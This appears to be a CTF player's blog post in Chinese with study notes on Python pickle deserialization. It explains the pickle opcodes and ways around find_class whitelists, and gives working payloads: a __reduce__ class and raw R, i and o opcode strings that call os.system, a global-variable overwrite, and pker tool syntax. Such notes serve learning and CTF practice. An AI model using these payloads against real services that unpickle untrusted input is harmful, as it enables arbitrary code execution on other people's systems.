3rsh1
/single dog/college student/ctfer
3rsh1's Blog

python反序列化学习

模块

python中一个.py文件就可被成为一个模块,针对同一个模块可能会被import很多次, 为了防止重复导入, python的优化手段是:第一次导入后就将模块名加载到内存了,后续的import语句仅是对已经加载大内存中的模块对象增加了一次引用,不会重新执行模块内的语句。考虑到性能的原因,每个模块只被导入一次,放入字典sys.modules中,如果你改变了模块的内容,你必须重启程序,python不支持重新加载或卸载之前导入的模块,当且仅当引用了sys模块的情况下。

# 导入模块:import 模块名
>>> import test 

# 函数调用:模块名.函数名
>>> test.read1() 

builtins__builtins__

在Python中,有一个内建模块,该模块中有一些常用函数,变量和类;而该内建模块在Python启动后、且没有执行程序员所写的任何代码前,Python首先会自动加载该内建模块到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀,其原因是对函数、变量、类等标识符的查找是按LEGB法 则,其中B即代表内建模块。

python内建模块的名字就叫做builtins,而__builtins__是对于内建模块的一个引用,是默认就存在在脚本里面的,不需要引用就可以直接使用。

但是还是有点区别的,在主模块__main__中:__builtins__是对内建模块builtins本身的引用,即__builtins__完全等价于builtins,二者完全是一个东西,不分彼此。在非__main__模块中:__builtins__仅是对builtins.__dict__的引用,而非builtins本身。它在任何地方都可见。此时__builtins__的类型是字典。

一些函数和模块

getattr

getattr(object, name[, default])

第一个参数是对象,第二个参数是对象的属性名,第三个是默认返回值。函数的作用就是返回一个对象的属性值。这里的函数其实我们也可以看作是对象的一个属性,那么当使用getattr获取函数时,获取的就是一个函数本身,类似于引用。

class A():
    bar=1
a=A()
print(getattr(a,'bar'))#1

奇怪,当函数被另外一个变量引用的时候,函数的传值方式会发生一点变化,注意。

dict1={'a':1,'b':2}
dict_get=getattr(__builtins__.dict,'get')
dict_get2=__builtins__.dict.get
print(dict_get({'a':1,'b':2},'b'))
print(dict_get2)
print(dict_get2(dict1,'a'))

sys.modules

import sys
sys.modules

pythonsys.modules可以在运行的时候把所有的模块加载到内存,后面再使用的时候直接存内存取就行了。

This is a dictionary that maps module names to modules which have already been loaded. This can be manipulated to force reloading of modules and other tricks. However, replacing the dictionary will not necessarily work as expected and deleting essential items from the dictionary may cause Python to fail.

也就是说这里面只是存的是模块名到模块所在文件的一个映射字典,当我们寻找类的时候我们可以sys.modules['time'],这样直接寻找,速度会快一些。当然我们也可以直接import,这样性能可能不会很高。当然如果你修改sys.module的映射关系的话,这也只对sys.modules['os']这也的引用起作用。疑惑

dir()

dir()

获得一个对象的所有属性和方法,它返回一个包含字符串的 list。

__dict__

补充:这里可能还有一点要说的地方,带有双下划线的类似于__dict__可能是类的一个很特殊的属性,也有可能是类的一些魔术方法,但不会是类。所以可能会有一些比较迷惑的地方,比如说dict代表的是字典类,但是__dict__代表的却是类的属性。

__dict__
:class.__dict__
:object.__dict__

查看对象内部所有属性名和属性值组成的字典。

为了方便用户查看类中包含哪些属性,Python 类提供了__dict__属性。需要注意的一点是,该属性可以用类名或者类的实例对象来调用,用类名直接调用 __dict__,会输出该由类中所有类属性组成的字典;而使用类的实例对象调用 __dict__,会输出由类中所有实例属性组成的字典。

pickle.Unpickler.find_class()

由于官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。
什么时候会调用find_class()

  1. opcode角度看,当出现cib'\x93'时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。
  2. python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。

ci中都有取module.name的过程,只要我们在这个过程中构造的恰当,便是可以绕过拦截的,当我们取出函数之后,调用的时候是不会对其进行检查的。

例子:

safe_builtins = {'range','complex','set','frozenset','slice',}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

序列化和反序列化函数

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

一个demo:

import os
import pickle
class test(object):
    def __reduce__(self):
        return (os.system,('whoami',))

a=test()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

这里的__reduce__函数类似于php反序列化的__wakeup函数(好像不太贴切),即反序列化的时候自动调用。

__reduce__() 函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟R操作码功能相似,可以对比下:

将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中 

事实上,R操作码就是 __reduce__() 魔术函数的底层实现。而在反序列化过程结束的时候,Python 进程会自动调用 __reduce__() 魔术方法。如果可以控制被调用函数的参数,Python 进程就可以执行恶意代码。

pickle过程解读

pickle解析依靠Pickle Virtual Machine (PVM)进行。PVM则主要设计三个部分:解释引擎,栈,内存。

解析引擎:从流中读取opcode和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。

栈:由Pythonlist实现,被用来临时存储数据、参数以及对象。

memo:由Pythondict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

常用的opcode,版本1:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、\’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第二个对象作为函数、第二个对象作为参数(第一个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

版本2:

op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S ‘x’
UNICODE V V [unicode] push一个unicode string V ‘x’
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

一个小例子:

https://xzfile.aliyuncs.com/media/upload/picture/20200320230711-7972c0ea-6abc-1.gif

需要注意的一点内容:

  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。

全局变量覆盖

demo1:

# secret.py
name='TEST3213qkfsmfo'


# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

先获取当前空间下的secret对象,然后d把上一个(之间的偶数个元素变成字典形式的数据。b把第一个栈内的字典对象作为第二个需要覆盖对象的属性的名值集合。

函数执行

主要有三个opcode:Rio

R

b'''cos
system
(S'whoami'
tR.'''

首先c取第一个os出栈作为module,第二个system出栈作为name值,导入module.namepush到栈顶。t找到上一个(并将之间的元素出栈组成为一个tuple后进栈,R取栈顶的第一个数组参数作为第二个函数的变量,然后执行。.结束。

i

b'''(S'whoami'
ios
system
.'

首先whoami入栈,i之后获取os.system函数,上前找最近的一个MARK并结合之间的数据作为一个数组,并将数组作为函数的参数执行函数。

o

b'''(cos
system
S'whoami'
o.'''

首先MARK入栈,os.system入栈,whoami入栈,识别到o之后,向前回溯找到第一个MARK,之间的内容构造为数组。之后数组的第一个值作为函数,其余的值作为函数的参数,且执行。

实例化对象

一种特殊的函数执行:

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。

关于pker工具的使用

以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,param

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

注意:

  1. 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。
  2. pker解析S时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
test="123"
return test

被解析为:

b"S'123'\np0\n0g0\n."

pker:全局变量覆盖

  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
  • 覆盖引入模块的变量:
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

pker:函数执行

  • 通过b'R'调用:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

  • 实例化对象是一种特殊的函数执行
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
class Animal:

    def __init__(self, name, category):
        self.name = name
        self.category = category
  • 也可以先实例化再赋值:
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

参考链接:

https://xz.aliyun.com/t/7436#toc-9
https://xz.aliyun.com/t/7012

发表评论

textsms
account_circle
email

3rsh1's Blog

python反序列化学习
模块 在python中一个.py文件就可被成为一个模块,针对同一个模块可能会被import很多次, 为了防止重复导入, python的优化手段是:第一次导入后就将模块名加载到内存了,后续的import语句…
扫描二维码继续阅读
2020-12-28